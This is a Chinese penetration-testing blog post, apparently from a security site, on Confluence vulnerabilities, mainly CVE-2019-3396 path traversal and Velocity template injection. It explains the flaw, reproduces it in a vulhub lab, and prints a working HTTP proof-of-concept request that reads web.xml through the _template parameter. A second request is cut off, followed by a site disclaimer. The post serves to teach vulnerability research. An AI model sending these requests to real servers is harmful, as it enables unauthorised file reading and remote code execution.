渗透测试 | Confluence漏洞总结

2024-12-09 49 0

前言

在前面的测试过程中遇到了Confluence的系统,然后去查了一下该系统的一些常见的漏洞,本篇文章就来看看Confluence的常见漏洞。同时也通过这些漏洞进一步的学习一下有关模版注入,变量覆盖漏洞的一些知识。

Confluence简介

Atlassian Confluence是企业广泛使用的wiki系统,是目前在各大企业广泛使用的一套系统。Confluence 基于 Struts 架构进行开发。

Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)

Atlassian Confluence其6.14.2版本前存在一处未授权的目录穿越漏洞, 通过该漏洞,攻击者可以读取任意文件,或利用Velocity模板注入执行任意命令。

漏洞原理

在预览的时候可以指定模版,但是却没有对模版的路径和协议进行限制,因此可以使用`file:///etc/passwd`来读取文件,也可以通过'https://....'来加载远程文件。

RCE的原理:该系统使用的是Velocity模版,前面已经说过可以通过远程加载模版文件。那么可以通过远程加载模版文件,来进行RCE,也就是模版注入。

如下图所示,可以控制传入的模版,点击预览功能时发的包里并没有_template参数,需要手动加上。因此这个漏洞一般需要白盒审计才能发现

渗透测试 | Confluence漏洞总结插图

根据模版名取获取模版

渗透测试 | Confluence漏洞总结插图1

通过下面的四种方式去获取模版

渗透测试 | Confluence漏洞总结插图2

我们利用的时候一般是通过下面的两个方式

velocity-1.6.4-atlassian-9.jar
org.apache.velocity.runtime.resource.loader.FileResourceLoader       通过文件名加载模版,不可跨目录加载,因为StringUtil.normalizePath 过滤了 /../
org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader    通过file://等协议进行加载文件,首先拼接类资源路径WebappPath,当通过WebappPath 打开流失败时,调用 catalina.jar!\org\apache\catalina\loader\WebappClassLoaderBase.class 父类的 findResource 获取 URL

漏洞利用

搭建环境

使用vulhub的环境来进行复现

渗透测试 | Confluence漏洞总结插图3

环境启动后,访问`http://your-ip:8090`会进入安装引导,选择“Trial installation”,之后会要求填写license key。点击“Get an evaluation license”,去Atlassian官方申请一个Confluence Server的测试证书(不要选择Data Center和Addons):

渗透测试 | Confluence漏洞总结插图4

申请一下点next

渗透测试 | Confluence漏洞总结插图5

填写数据库信息

渗透测试 | Confluence漏洞总结插图6

读取web.xml文件

POC

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 176

{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}

渗透测试 | Confluence漏洞总结插图7

利用file协议读取本地任意文件

6.12以前的Confluence没有限制文件读取的协议和路径,我们可以使用file:///etc/passwd来读取文件,也可以通过https://...来加载远程文件。

POC

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 10.0.0.100:8090
Content-Length: 184
Accept: text/html, */*; q=0.01
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like 

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

应急响应:Windows服务器靶机门罗币挖矿应急处理流程
浅谈目录权限导致的文件劫持
海外的bug-hunters,不一样的403bypass
java代码审计 | struts2框架路由详解
电子数据取证 | 一次电子数据取证的尝试与反思
结合ppid欺骗和远线程注入实现dll挖空

发布评论